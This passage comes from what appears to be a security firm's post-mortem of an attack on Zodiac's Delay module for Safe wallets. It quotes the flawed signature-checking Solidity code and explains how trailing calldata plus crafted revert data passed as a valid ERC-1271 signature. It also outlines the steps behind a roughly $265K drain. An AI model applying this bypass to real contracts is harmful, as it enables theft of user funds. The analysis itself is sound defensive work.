https://substackcdn.com/image/fetch/$s_!zI7s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 848w, https://substackcdn.com/image/fetch/$s_!zI7s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 1272w, https://substackcdn.com/image/fetch/$s_!zI7s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zI7s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png" width="486" height="76" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:76,&quot;width&quot;:486,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:14235,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zI7s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 424w, https://substackcdn.com/image/fetch/$s_!zI7s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 848w, https://substackcdn.com/image/fetch/$s_!zI7s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 1272w, https://substackcdn.com/image/fetch/$s_!zI7s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2771a289-3645-41a8-af25-5fd8e421a3f6_486x76.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Image 4: moduleOnly modifier</figcaption></figure></div><p>The key helper was <code>moduleTxSignedBy()</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;typescript&quot;,&quot;nodeId&quot;:&quot;5d29e506-5bd0-405f-9bbf-aa934a569f7b&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-typescript">function moduleTxSignedBy() internal view returns (bytes32, address) {
    bytes calldata data = msg.data;

    if (data.length &lt; 4 + 32 + 65) {
      return (bytes32(0), address(0));
    }

    (uint8 v, bytes32 r, bytes32 s) = _splitSignature(data);

    uint256 end = data.length - (32 + 65);
    bytes32 salt = bytes32(data[end:]);

    if (v == 0) {
      uint256 start = uint256(s);
      if (start &lt; 4 || start &gt; end) {
        return (bytes32(0), address(0));
      }
      address signer = address(uint160(uint256(r)));

      bytes32 hash = moduleTxHash(data[:start], salt);
      return
        _isValidContractSignature(signer, hash, data[start:end])
          ? (hash, signer)
          : (bytes32(0), address(0));
    }
}</code></pre></div><p>The problem starts with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;e1fe5f2f-1874-4b17-9046-f8d58195329a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python">bytes calldata data = msg.data;</code></pre></div><p><code>execTransactionFromModule()</code> only decodes four normal parameters:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;typescript&quot;,&quot;nodeId&quot;:&quot;b1430c76-1edc-42ed-a556-25764ea1c979&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-typescript">function execTransactionFromModule(
    address to,
    uint256 value,
    bytes calldata data,
    Enum.Operation operation
) public override moduleOnly returns (bool success)</code></pre></div><p>But <code>moduleTxSignedBy()</code> authenticates against the whole calldata buffer. That includes attacker-controlled bytes appended after the ABI-encoded function arguments. By shaping those trailing bytes, the attacker controlled <code>v</code>, <code>r</code>, <code>s</code>, <code>salt</code>, the recovered <code>signer</code>, and the signature payload passed into <code>_isValidContractSignature()</code>.</p><h3><strong>The Revert-Data Trick: The real root-cause</strong></h3><p>Inside <code>_isValidContractSignature()</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LOVL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LOVL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 424w, https://substackcdn.com/image/fetch/$s_!LOVL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 848w, https://substackcdn.com/image/fetch/$s_!LOVL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 1272w, https://substackcdn.com/image/fetch/$s_!LOVL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LOVL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png" width="496" height="454" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:454,&quot;width&quot;:496,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:59060,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LOVL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 424w, https://substackcdn.com/image/fetch/$s_!LOVL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 848w, https://substackcdn.com/image/fetch/$s_!LOVL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 1272w, https://substackcdn.com/image/fetch/$s_!LOVL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e5d0534-5afd-4e96-a15b-93836615305c_496x454.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Image 5: _isValidContractSignature</figcaption></figure></div><p>Notice what is missing: the <code>success</code> boolean.</p><p>The <code>staticcall</code> could revert, but the code ignored whether it succeeded. It only checked whether the first four bytes of <code>returnData</code> matched <code>0x1626ba7e</code>. Because revert data is also returned to the caller, the attacker could make a failed call look like a valid ERC-1271 signature.</p><p>Attacker try to route the call &#8220;verify signature&#8221; to victim&#8217;s Safe Wallet -&gt; Fallback Handler contract -&gt; Attacker&#8217;s contract. Then attacker use revert data to trick Safe to return.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mUdB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mUdB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 424w, https://substackcdn.com/image/fetch/$s_!mUdB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 848w, https://substackcdn.com/image/fetch/$s_!mUdB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 1272w, https://substackcdn.com/image/fetch/$s_!mUdB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mUdB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png" width="1326" height="410" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:410,&quot;width&quot;:1326,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:192900,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mUdB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 424w, https://substackcdn.com/image/fetch/$s_!mUdB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 848w, https://substackcdn.com/image/fetch/$s_!mUdB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 1272w, https://substackcdn.com/image/fetch/$s_!mUdB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed9d6c79-3424-473c-8585-273d78de7df8_1326x410.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Image 6: Transaction attack flow</figcaption></figure></div><p>This is the heart of the exploit: <strong>the attacker controlled the revert message, the revert message became </strong><code>returnData</code><strong>, and </strong><code>returnData</code><strong> satisfied the signature check.</strong></p><h2><strong>Step-by-Step Bypass Authorization Flow</strong></h2><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8r7J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8r7J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 424w, https://substackcdn.com/image/fetch/$s_!8r7J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 848w, https://substackcdn.com/image/fetch/$s_!8r7J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 1272w, https://substackcdn.com/image/fetch/$s_!8r7J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8r7J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png" width="502" height="234" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:234,&quot;width&quot;:502,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:49148,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8r7J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 424w, https://substackcdn.com/image/fetch/$s_!8r7J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 848w, https://substackcdn.com/image/fetch/$s_!8r7J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 1272w, https://substackcdn.com/image/fetch/$s_!8r7J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67abf6e1-0177-4236-ad25-a492434ca3f6_502x234.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Image 7: Illustration attack flow</figcaption></figure></div><ol><li><p><strong>Deploy Verification Trap</strong> - The attacker deployed a contract that could be reached through the ERC-1271 verification path and revert with data beginning with <code>0x1626ba7e</code>. Contract address: <code>0x5a77953caa27ed4638f4dfdc665b8064d0e97a35</code></p></li><li><p><strong>Craft Module Call</strong> - The attacker called <code>Delay.execTransactionFromModule()</code> with a normal-looking transaction body. In the example attack transaction, the decoded action queued a USDC.e transfer to the attacker.</p></li><li><p><strong>Append Signature Payload</strong> - Extra bytes were appended after the normal ABI parameters. <code>execTransactionFromModule()</code> ignored those bytes, but <code>moduleTxSignedBy()</code> parsed them as signature material.</p></li><li><p><strong>Route Verification Through Controlled Contract</strong> - The crafted signature caused verification to traverse Safe/fallback ERC-1271 logic until it reached the attacker-controlled contract.</p></li><li><p><strong>Revert With Magic Value</strong> - The attacker-controlled contract reverted with data beginning with <code>0x1626ba7e</code>.</p></li><li><p><strong>Bypass Authorization</strong> - <code>_isValidContractSignature()</code> ignored <code>success</code>, checked only <code>bytes4(returnData)</code>, and accepted the reverted call as a valid signature.</p></li><li><p><strong>Queue and Execute Malicious Withdrawals</strong> - The Delay module emitted <code>HashExecuted</code> and <code>TransactionAdded</code>, planting malicious withdrawals into the queue. Across multiple victims, those queued withdrawals later enabled the ~$265K drain.</p></li></ol><h2><strong>Forensic Timeline: The Silent Fix</strong></h2><p>The tricky part of this incident is the repository history. There are two related but different code lines:</p><ul><li><p><code>gnosisguild/zodiac</code> - legacy package, historically published as <code>@gnosis.pm/zodiac</code>, later as <code>@gnosis-guild/zodiac</code>.</p></li><li><p><code>gnosisguild/zodiac-core</code> - reworked core package, published as <code>@gnosis-guild/zodiac-core</code> - it is a new folks from <code>gnosisguild/zodiac</code> from <strong>Apr 25, 2024</strong> in <code>1b16aca</code> commit.</p></li></ul><p>The official <code>Delay</code> contract version <code>1.1.0</code> uses the legacy package <code>@gnosis.pm/zodiac</code>.</p><ul><li><p>On Oct 28, 2023, commit <code>9ffff3a</code> added EIP-1271 support. The early implementation checked the <code>success</code> value from <code>staticcall</code>.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!c8O5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!c8O5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 424w, https://substackcdn.com/image/fetch/$s_!c8O5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 848w, https://substackcdn.com/image/fetch/$s_!c8O5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 1272w, https://substackcdn.com/image/fetch/$s_!c8O5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!c8O5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png" width="1393" height="592" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/87502816-7eba-4be4-9047-07940850cab4_1393x592.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:592,&quot;width&quot;:1393,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:80526,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/201118264?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!c8O5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 424w, https://substackcdn.com/image/fetch/$s_!c8O5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 848w, https://substackcdn.com/image/fetch/$s_!c8O5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 1272w, https://substackcdn.com/image/fetch/$s_!c8O5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87502816-7eba-4be4-9047-07940850cab4_1393x592.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>On Oct 28, 2023, commit <code>9a9e380</code> changed the <code>staticcall</code> handling and discarded <code>success</code>, leaving only the <code>returnData</code> magic-value check. The vulnerability was introduced in this commit.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0mjp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0mjp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 424w, https://substackcdn.com/image/fetch/$s_!0mjp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 848w, https://substackcdn.com/image/fetch/$s_!0mjp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 1272w, https://substackcdn.com/image/fetch/$s_!0mjp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b4faf3-bb83-406a-bbd2-fd9a5c7098a9_1508x237.png 1456w" sizes="100vw"><img 